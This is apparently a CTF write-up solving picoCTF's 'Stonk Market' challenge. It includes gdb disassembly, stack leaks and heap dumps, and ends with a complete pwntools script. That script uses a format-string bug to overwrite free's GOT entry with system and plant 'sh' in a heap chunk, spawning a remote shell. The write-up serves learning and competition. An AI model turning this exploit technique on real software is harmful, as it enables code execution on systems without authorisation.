Rating:

ok first we need to understand whats going on so run vuln with gdb `gdb ./vuln`
first get an overview with `disass main`

```
0x0000000000400b95 <+0>: push rbp
0x0000000000400b96 <+1>: mov rbp,rsp
0x0000000000400b99 <+4>: sub rsp,0x30
0x0000000000400b9d <+8>: mov DWORD PTR [rbp-0x24],edi
0x0000000000400ba0 <+11>: mov QWORD PTR [rbp-0x30],rsi
0x0000000000400ba4 <+15>: mov rax,QWORD PTR fs:0x28
0x0000000000400bad <+24>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400bb1 <+28>: xor eax,eax
0x0000000000400bb3 <+30>: mov rax,QWORD PTR [rip+0x2014ce] # 0x602088 <stdout@@GLIBC_2.2.5>
0x0000000000400bba <+37>: mov esi,0x0
0x0000000000400bbf <+42>: mov rdi,rax
0x0000000000400bc2 <+45>: call 0x4006e0 <setbuf@plt>
0x0000000000400bc7 <+50>: mov edi,0x0
0x0000000000400bcc <+55>: call 0x400720 <time@plt>
0x0000000000400bd1 <+60>: mov edi,eax
0x0000000000400bd3 <+62>: call 0x400710 <srand@plt>
0x0000000000400bd8 <+67>: mov eax,0x0
0x0000000000400bdd <+72>: call 0x400ae1 <initialize_portfolio>
0x0000000000400be2 <+77>: mov QWORD PTR [rbp-0x10],rax
0x0000000000400be6 <+81>: cmp QWORD PTR [rbp-0x10],0x0
0x0000000000400beb <+86>: jne 0x400c03 <main+110>
0x0000000000400bed <+88>: lea rdi,[rip+0x1ed] # 0x400de1
0x0000000000400bf4 <+95>: call 0x4006d0 <puts@plt>
0x0000000000400bf9 <+100>: mov edi,0x1
0x0000000000400bfe <+105>: call 0x400760 <exit@plt>
0x0000000000400c03 <+110>: mov DWORD PTR [rbp-0x14],0x0
0x0000000000400c0a <+117>: lea rdi,[rip+0x1df] # 0x400df0
0x0000000000400c11 <+124>: call 0x4006d0 <puts@plt>
0x0000000000400c16 <+129>: lea rdi,[rip+0x1f5] # 0x400e12
0x0000000000400c1d <+136>: call 0x4006d0 <puts@plt>
0x0000000000400c22 <+141>: lea rdi,[rip+0x204] # 0x400e2d
0x0000000000400c29 <+148>: call 0x4006d0 <puts@plt>
0x0000000000400c2e <+153>: lea rdi,[rip+0x20c] # 0x400e41
0x0000000000400c35 <+160>: call 0x4006d0 <puts@plt>
0x0000000000400c3a <+165>: lea rax,[rbp-0x14]
0x0000000000400c3e <+169>: mov rsi,rax
0x0000000000400c41 <+172>: lea rdi,[rip+0x20e] # 0x400e56
0x0000000000400c48 <+179>: mov eax,0x0
0x0000000000400c4d <+184>: call 0x400750 <__isoc99_scanf@plt>
0x0000000000400c52 <+189>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400c55 <+192>: cmp eax,0x1
0x0000000000400c58 <+195>: jne 0x400c68 <main+211>
0x0000000000400c5a <+197>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400c5e <+201>: mov rdi,rax
0x0000000000400c61 <+204>: call 0x4009e9 <buy_stonks>
0x0000000000400c66 <+209>: jmp 0x400c7c <main+231>
0x0000000000400c68 <+211>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400c6b <+214>: cmp eax,0x2
0x0000000000400c6e <+217>: jne 0x400c7c <main+231>
0x0000000000400c70 <+219>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400c74 <+223>: mov rdi,rax
0x0000000000400c77 <+226>: call 0x400867 <view_portfolio>
0x0000000000400c7c <+231>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400c80 <+235>: mov rdi,rax
0x0000000000400c83 <+238>: call 0x400b3d <free_portfolio>
0x0000000000400c88 <+243>: lea rdi,[rip+0x1ca] # 0x400e59
0x0000000000400c8f <+250>: call 0x4006d0 <puts@plt>
0x0000000000400c94 <+255>: mov edi,0x0
0x0000000000400c99 <+260>: call 0x400760 <exit@plt>

```

ok now lets run it and see what happens.
```
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
```
we press `ctrl+c` and check the gef dashboard
```
[#0] 0x7ffff7af4191 → read()
[#1] 0x7ffff7a711b8 → _IO_file_underflow()
[#2] 0x7ffff7a72462 → _IO_default_uflow()
[#3] 0x7ffff7a4fc5a → _IO_vfscanf()
[#4] 0x7ffff7a60048 → __isoc99_scanf()
[#5] 0x400c52 → main()
```
so we are in the `__isoc99_scanf()` at main `0x0000000000400c4d <+184>: call 0x400750 <__isoc99_scanf@plt>`
here we can choose which of the next 2 functions we want to run.

we choose buy_stonks since there is the vulnerable printf()
`disass buy_stonks`
```
0x00000000004009e9 <+0>: push rbp
0x00000000004009ea <+1>: mov rbp,rsp
0x00000000004009ed <+4>: sub rsp,0x30
0x00000000004009f1 <+8>: mov QWORD PTR [rbp-0x28],rdi
0x00000000004009f5 <+12>: cmp QWORD PTR [rbp-0x28],0x0
0x00000000004009fa <+17>: jne 0x400a06 <buy_stonks+29>
0x00000000004009fc <+19>: mov eax,0x1
0x0000000000400a01 <+24>: jmp 0x400adf <buy_stonks+246>
0x0000000000400a06 <+29>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400a0a <+33>: mov eax,DWORD PTR [rax]
0x0000000000400a0c <+35>: mov DWORD PTR [rbp-0x18],eax
0x0000000000400a0f <+38>: mov DWORD PTR [rbp-0x14],0x0
0x0000000000400a16 <+45>: mov QWORD PTR [rbp-0x10],0x0
0x0000000000400a1e <+53>: lea rdi,[rip+0x34b] # 0x400d70
0x0000000000400a25 <+60>: call 0x4006d0 <puts@plt>
0x0000000000400a2a <+65>: jmp 0x400a6d <buy_stonks+132>
0x0000000000400a2c <+67>: call 0x400770 <rand@plt>
0x0000000000400a31 <+72>: cdq
0x0000000000400a32 <+73>: idiv DWORD PTR [rbp-0x18]
0x0000000000400a35 <+76>: mov eax,edx
0x0000000000400a37 <+78>: add eax,0x1
0x0000000000400a3a <+81>: mov DWORD PTR [rbp-0x14],eax
0x0000000000400a3d <+84>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400a40 <+87>: mov edi,eax
0x0000000000400a42 <+89>: call 0x400927 <pick_symbol_with_AI>
0x0000000000400a47 <+94>: mov QWORD PTR [rbp-0x10],rax
0x0000000000400a4b <+98>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400a4f <+102>: mov rdx,QWORD PTR [rax+0x8]
0x0000000000400a53 <+106>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400a57 <+110>: mov QWORD PTR [rax+0x10],rdx
0x0000000000400a5b <+114>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400a5f <+118>: mov rdx,QWORD PTR [rbp-0x10]
0x0000000000400a63 <+122>: mov QWORD PTR [rax+0x8],rdx
0x0000000000400a67 <+126>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400a6a <+129>: sub DWORD PTR [rbp-0x18],eax
0x0000000000400a6d <+132>: cmp DWORD PTR [rbp-0x18],0x0
0x0000000000400a71 <+136>: jg 0x400a2c <buy_stonks+67>
0x0000000000400a73 <+138>: lea rdi,[rip+0x321] # 0x400d9b
0x0000000000400a7a <+145>: call 0x4006d0 <puts@plt>
0x0000000000400a7f <+150>: mov edi,0x12d
0x0000000000400a84 <+155>: call 0x400730 <malloc@plt>
0x0000000000400a89 <+160>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400a8d <+164>: lea rdi,[rip+0x315] # 0x400da9
0x0000000000400a94 <+171>: call 0x4006d0 <puts@plt>
0x0000000000400a99 <+176>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400a9d <+180>: mov rsi,rax
0x0000000000400aa0 <+183>: lea rdi,[rip+0x31a] # 0x400dc1
0x0000000000400aa7 <+190>: mov eax,0x0
0x0000000000400aac <+195>: call 0x400750 <__isoc99_scanf@plt>
0x0000000000400ab1 <+200>: lea rdi,[rip+0x30f] # 0x400dc7
0x0000000000400ab8 <+207>: call 0x4006d0 <puts@plt>
0x0000000000400abd <+212>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400ac1 <+216>: mov rdi,rax
0x0000000000400ac4 <+219>: mov eax,0x0
0x0000000000400ac9 <+224>: call 0x400700 <printf@plt>
0x0000000000400ace <+229>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400ad2 <+233>: mov rdi,rax
0x0000000000400ad5 <+236>: call 0x400867 <view_portfolio>
0x0000000000400ada <+241>: mov eax,0x0
0x0000000000400adf <+246>: leave
0x0000000000400ae0 <+247>: ret
```
we give our input at 0x400aac and it gets printed at 0x400ac9

```
0x0000000000400aac <+195>: call 0x400750 <__isoc99_scanf@plt>
0x0000000000400ab1 <+200>: lea rdi,[rip+0x30f] # 0x400dc7
0x0000000000400ab8 <+207>: call 0x4006d0 <puts@plt>
0x0000000000400abd <+212>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400ac1 <+216>: mov rdi,rax
0x0000000000400ac4 <+219>: mov eax,0x0
0x0000000000400ac9 <+224>: call 0x400700 <printf@plt>
0x0000000000400ace <+229>: mov rax,QWORD PTR [rbp-0x28]

```
ok before we continue set a breakpoint after the printf() with `b *400ace` than `c` and throw some %p at it to leak some addresses

```
0x1555553277e3
0x1555553288c0
0x15555504b264
0x19
(nil)
0x400e41
0x603260
0xb
0x100000000
0x604370
0x604390
0x7fffffffe080
0x400c66
0x7fffffffe168
0x100000000
0x400ca0
0x100400780
0x603260
0xd121471b0b69c100
0x400ca0
0x155554f5cb97
0x1
0x7fffffffe168
0x100008000
0x400b95
(nil)
0x708aa9e58d88f5ba
0x400780
0x7fffffffe160
(nil)
(nil)
0x8f75569a55e8f5ba
0x5a20008e0256f5ba
0x7fff00000000
(nil)
(nil)
0x15555533c783
0x155555322638
0xc13f2
(nil)
(nil)
(nil)
0x400780
0x7fffffffe160
0x4007aa
0x7fffffffe158
0x1c
0x1
0x7fffffffe456
(nil)
```
The addres on the 12 position is 0x7fffffffe080 which is on the stack so maybe we can have its content on our leak.

i watched for the 4 previous and follwoing values so 0xb|0x100000000|0x604370|0x604390|0x7fffffffe080|0x400c66|0x7fffffffe168|0x100000000|0x400ca0

```
gef➤ search-pattern 0x7fffffffe080
[+] Searching '\x80\xe0\xff\xff\xff\x7f' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffdd90 - 0x7fffffffdda8 → "\x80\xe0\xff\xff\xff\x7f[...]"
0x7fffffffe040 - 0x7fffffffe058 → "\x80\xe0\xff\xff\xff\x7f[...]"

```

```
gef➤ x/9gx 0x7fffffffe040-0x20
0x7fffffffe020: 0x000000000000000b 0x0000000100000000
0x7fffffffe030: 0x0000000000604370 0x0000000000604390
0x7fffffffe040: 0x00007fffffffe080 0x0000000000400c66
0x7fffffffe050: 0x00007fffffffe168 0x0000000100000000
0x7fffffffe060: 0x0000000000400ca0
```
so `0x7fffffffe040: 0x00007fffffffe080` this is not far away lets check it
```
gef➤ x/9gx 0x7fffffffe080-0x20
0x7fffffffe060: 0x0000000000400ca0 0x0000000100400780
0x7fffffffe070: 0x0000000000603260 0xd121471b0b69c100
0x7fffffffe080: 0x0000000000400ca0 0x0000155554f5cb97
0x7fffffffe090: 0x0000000000000001 0x00007fffffffe168
0x7fffffffe0a0: 0x0000000100008000
```

0x400ca0|0x100400780|0x603260|0xd121471b0b69c100|0x400ca0|0x155554f5cb97|0x1|0x7fffffffe168|0x100008000

this matches great now hers the plan we can write to the 12 field which points to 0x00007fffffffe080 with that we can set the target address.
and with the 20 field we can write to that address.
now we have to find out where and what to write.

so first lets check where we can write i `vmmap`

```
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00000000003ff000 0x0000000000400000 0x0000000000000000 rw- /root/ctf/stonk_market/vuln
0x0000000000400000 0x0000000000402000 0x0000000000001000 r-x /root/ctf/stonk_market/vuln
0x0000000000601000 0x0000000000602000 0x0000000000002000 r-- /root/ctf/stonk_market/vuln
0x0000000000602000 0x0000000000603000 0x0000000000003000 rw- /root/ctf/stonk_market/vuln
0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /root/ctf/stonk_market/libc.so.6
0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /root/ctf/stonk_market/libc.so.6
0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /root/ctf/stonk_market/libc.so.6
0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /root/ctf/stonk_market/libc.so.6
0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw-
0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /root/ctf/stonk_market/ld-2.27.so
0x00007ffff7ff4000 0x00007ffff7ff6000 0x0000000000000000 rw-
0x00007ffff7ff6000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /root/ctf/stonk_market/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /root/ctf/stonk_market/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
```

`0x0000000000602000 0x0000000000603000 0x0000000000003000 rw- /root/ctf/stonk_market/vuln`
we can write to the GOT that is usefull.
lets check whats on the `GOT`

```
GOT protection: Partial RelRO | GOT functions: 12

[0x602018] free@GLIBC_2.2.5 → 0x4006c6
[0x602020] puts@GLIBC_2.2.5 → 0x7ffff7a64a30
[0x602028] setbuf@GLIBC_2.2.5 → 0x7ffff7a6c540
[0x602030] system@GLIBC_2.2.5 → 0x4006f6
[0x602038] printf@GLIBC_2.2.5 → 0x400706
[0x602040] srand@GLIBC_2.2.5 → 0x7ffff7a27c60
[0x602048] time@GLIBC_2.2.5 → 0x7ffff7ffa970
[0x602050] malloc@GLIBC_2.2.5 → 0x7ffff7a7b0e0
[0x602058] fflush@GLIBC_2.2.5 → 0x400746
[0x602060] __isoc99_scanf@GLIBC_2.7 → 0x7ffff7a5ff30
[0x602068] exit@GLIBC_2.2.5 → 0x400766
[0x602070] rand@GLIBC_2.2.5 → 0x7ffff7a28450
```
ok we know how and where now figure out what.
so i steped throu the binary a few times than realized that in main after our buy_stonks function finished we call free_portfolio

`0x0000000000400c66 <+209>: jmp 0x400c7c <main+231>`
```
0x0000000000400c7c <+231>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400c80 <+235>: mov rdi,rax
0x0000000000400c83 <+238>: call 0x400b3d <free_portfolio>
```
`disass free_portfolio`

```
0x0000000000400b3d <+0>: push rbp
0x0000000000400b3e <+1>: mov rbp,rsp
0x0000000000400b41 <+4>: sub rsp,0x20
0x0000000000400b45 <+8>: mov QWORD PTR [rbp-0x18],rdi
0x0000000000400b49 <+12>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000400b4d <+16>: mov rax,QWORD PTR [rax+0x8]
0x0000000000400b51 <+20>: mov QWORD PTR [rbp-0x10],rax
0x0000000000400b55 <+24>: mov QWORD PTR [rbp-0x8],0x0
0x0000000000400b5d <+32>: jmp 0x400b7f <free_portfolio+66>
0x0000000000400b5f <+34>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400b63 <+38>: mov rax,QWORD PTR [rax+0x10]
0x0000000000400b67 <+42>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400b6b <+46>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400b6f <+50>: mov rdi,rax
0x0000000000400b72 <+53>: call 0x4006c0 <free@plt>
0x0000000000400b77 <+58>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400b7b <+62>: mov QWORD PTR [rbp-0x10],rax
0x0000000000400b7f <+66>: cmp QWORD PTR [rbp-0x10],0x0
0x0000000000400b84 <+71>: jne 0x400b5f <free_portfolio+34>
0x0000000000400b86 <+73>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000400b8a <+77>: mov rdi,rax
0x0000000000400b8d <+80>: call 0x4006c0 <free@plt>
0x0000000000400b92 <+85>: nop
0x0000000000400b93 <+86>: leave
0x0000000000400b94 <+87>: ret
```

here `0x0000000000400b72 <+53>: call 0x4006c0 <free@plt>` we call free()
we set a breakpoint `b *0x0000000000400b72`

when we reach the break we check the arguments for the free()
```
free@plt (
$rdi = 0x0000000000604370 → 0x4e494e4600000001
)
```
`c`

```
free@plt (
$rdi = 0x0000000000604350 → 0x0000004300000003
)
```

ok looks like the arguments are the next heap chunks that will get freed

`heap chunks`
```
gef➤ heap chunks
Chunk(addr=0x603010, size=0x250, flags=PREV_INUSE)
[0x0000000000603010 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603260, size=0x20, flags=PREV_INUSE)
[0x0000000000603260 ec 03 00 00 00 00 00 00 70 43 60 00 00 00 00 00 ........pC`.....]
Chunk(addr=0x603280, size=0x1010, flags=PREV_INUSE)
[0x0000000000603280 25 70 7c 25 70 7c 25 70 7c 25 70 7c 25 70 7c 25 %p|%p|%p|%p|%p|%]
Chunk(addr=0x604290, size=0x20, flags=PREV_INUSE)
[0x0000000000604290 a9 02 00 00 47 50 47 00 00 00 00 00 00 00 00 00 ....GPG.........]
Chunk(addr=0x6042b0, size=0x20, flags=PREV_INUSE)
[0x00000000006042b0 f3 00 00 00 53 00 00 00 00 00 00 00 00 00 00 00 ....S...........]
Chunk(addr=0x6042d0, size=0x20, flags=PREV_INUSE)
[0x00000000006042d0 24 00 00 00 47 59 4c 00 00 00 00 00 00 00 00 00 $...GYL.........]
Chunk(addr=0x6042f0, size=0x20, flags=PREV_INUSE)
[0x00000000006042f0 17 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 ....I...........]
Chunk(addr=0x604310, size=0x20, flags=PREV_INUSE)
[0x0000000000604310 08 00 00 00 4c 45 54 50 00 00 00 00 00 00 00 00 ....LETP........]
Chunk(addr=0x604330, size=0x20, flags=PREV_INUSE)
[0x0000000000604330 09 00 00 00 55 00 00 00 00 00 00 00 00 00 00 00 ....U...........]
Chunk(addr=0x604350, size=0x20, flags=PREV_INUSE)
[0x0000000000604350 70 43 60 00 00 00 00 00 00 00 00 00 00 00 00 00 pC`.............]
Chunk(addr=0x604370, size=0x20, flags=PREV_INUSE)
[0x0000000000604370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x604390, size=0x140, flags=PREV_INUSE)
[0x0000000000604390 25 70 7c 25 70 7c 25 70 7c 25 70 7c 25 70 7c 25 %p|%p|%p|%p|%p|%]
Chunk(addr=0x6044d0, size=0x1fb40, flags=PREV_INUSE) ← top chunk
```
i found 0x603260 on our leaked addr list at field 18 0x603260
good we can now change the GOT entry of free so that it calls system with the argument of the heap addresses.
`system(const char *command)`
so it will use the heap addr. as a pointer to a string so we want our 0x603260 contain 'sh' that should spawn a shell for us.
sh in hex is `0x01006873`

```
gef➤ x 0x0000000000603260
0x603260: 0x01006873
gef➤ x/s 0x0000000000603260
0x603260: "sh"

```
ok time for the payload

this writes to the 12 field which points to 0x7fffffffe080 here we set the target address to 0x00602018
```
payload = '%c'*10
payload += f'%{elf.got["free"] - 10}c'
payload += '%n'
```

this writes to the target we specified in this case the GOT of free here we change free to system which starts at `0x4006f6`

before we write: 0x00602018: 0x4006c6

after we write: 0x00602018: 0x4006f6

as we can see we only need to change 1 byte to match the address.
we do that with `hhn` which only writes 1 byte
we already had 0x602018 bytes send so to set the last byte to 0xf6 we send another 222 bytes. 0xf6 - 0x18 = 0xde or 222 as int

```
payload += '%222c'
payload += '%20$hhn'
```

and here we write sh into the leaked heap address and sending the payload.
10504061 in hex = 0xa0477d + our already send 0x00602018 + 0xde = 0x1006873 which is sh in hex

```
payload += '%10504061c'
payload += '%18$n'
sl('1')
sla("token?\n",payload)
```

it will take some time to send the payload so give it at least 1 min.

```
#!/usr/bin/env python3
from pwn import *

fname = './vuln'
ip = 'mercury.picoctf.net'
port = xxxx #change this
elf = ELF('./vuln')

LOCAL = False

if LOCAL:
r = process(fname,aslr=False)

gdbscript="""
b buy_stonks
b *0x0000000000400ac9
b *0x0000000000400ace
b *0x00000000004008ab
b *0x0000000000400b72
"""
#set follow-fork-mode

#attach('vuln',gdbscript=gdbscript)
else:
r = remote(ip, port)

rl = lambda : r.recvline()
sl = lambda x : r.sendline(x)
sla = lambda x,y : r.sendlineafter(x,y)
inter = lambda : r.interactive()

def pwn():
payload = '%c'*10
payload += f'%{elf.got["free"] - 10}c'
payload += '%n'

payload += '%222c'
payload += '%20$hhn'

payload += '%10504061c'
payload += '%18$n'
sl('1')
sla("token?\n",payload)

inter()

if __name__ == '__main__':
pwn()
```

Original writeup (https://github.com/Bex-WriteUp/binary-exploitation/blob/main/stonk_market_writeup.md).